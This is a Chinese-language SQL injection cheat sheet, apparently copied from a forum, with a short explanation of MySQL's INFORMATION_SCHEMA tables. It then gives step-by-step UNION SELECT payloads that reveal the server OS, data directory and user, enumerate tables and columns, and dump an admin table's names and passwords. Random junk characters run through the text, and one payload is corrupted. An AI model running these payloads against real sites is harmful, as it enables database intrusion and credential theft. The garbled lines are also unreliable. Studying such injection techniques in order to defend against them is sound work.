mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

+ z5 U& ^3 w9 ]4 v$ W学习盲注前先了解下 IFORMATION_SCHEMA 库
# u: ~  `: |5 u) Q; n- v- q
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称

9 M1 s; V& j  x4 Q1 K|TABLES ->存储表名
) Z. U! ]4 E/ c! }' z|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
9 {- `; D+ u0 B; _$ v|---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
) W' U4 \' @% I3 l: o|---字段：TABLE_NAME ->存储所属表的名称
/ C$ w- h9 |/ a) U! M. D8 x
|---字段：COLUMN_NAME ->该字段的名称


: p& F7 o$ f7 c/ E
###########################################################################
; `: R: B9 w: w3 t
0x001 获取系统信息:
  A3 j; k' G; I& w
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

  R) K6 {6 d/ s4 i& c3 d3 |/ D9 C/*
' C+ O) j( N' n% N
@@global.version_compile_os 获取系统版本
; n$ T& ~6 I9 |+ j- S" F
@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值

*/

( F: D4 g+ e- \  G7 N8 A" D; r

######################################################################

; z- W3 [. A9 L; a0x002 获取表名
" _# s) ~8 e+ d
+ j% K5 F+ k( ]5 [! Yunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
7 r! j: B. L7 t# B) y7 N
+ U" `1 l+ `4 x7 n4 t0 R" [# W1 M

/*

- L. W' O' ^- x' L8 |5 s0x67617264656e 为当前数据库名

4 Z: R9 |5 G# A9 t: |) Q8 j/ ]group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

! @" ~9 a7 W- h: m6 q*/

######################################################################
  J2 [/ ~" _4 G2 ?9 e. G
/ ]. O" _8 ?. {+ T3 i$ G

8 _: |6 Q; m: C/ g4 J, o' @  E0x003 获取字段
; P) `2 x9 l' ~" ?
. y2 u) [% j, b& d% k, q; `$ nunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

. k, x. [+ @; }) B* |/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

- Z, a, ]' Q* Y+ O% I* K0x61646d696e ->选择一个表
* h" n: S. Y& I$ W4 S; P! k* N
0x67617264656e ->数据库名

*/
/ B  R  B: ~# A- \
, B" _0 m; g! R* O2 x4 s#####################################################################
6 }: Q  l$ S7 X7 e; r

8 y1 A4 e1 V8 }, z1 o0 N
0x004 获取数据
6 }5 X" [4 ^: _) m& a9 x
  ^& z# x4 G' z6 N( `3 g4 Runion select 1,2,3
& ^) K" w; z6 D5 o" |) X# L,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

: j% B0 O$ K) b7 B8 T  Z/ cunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin


0 X# F0 Q7 P7 C  ^  T
/*

0x3c62723e 换行符号HEX编码
+ [) Q7 w4 M" z3 N% E
group_concat 同时获得该字段所有数据
" `7 J9 r$ {4 S; c
& l9 o9 e/ [  a+ X% ?*/

) W1 o( t2 @* @( o- j  z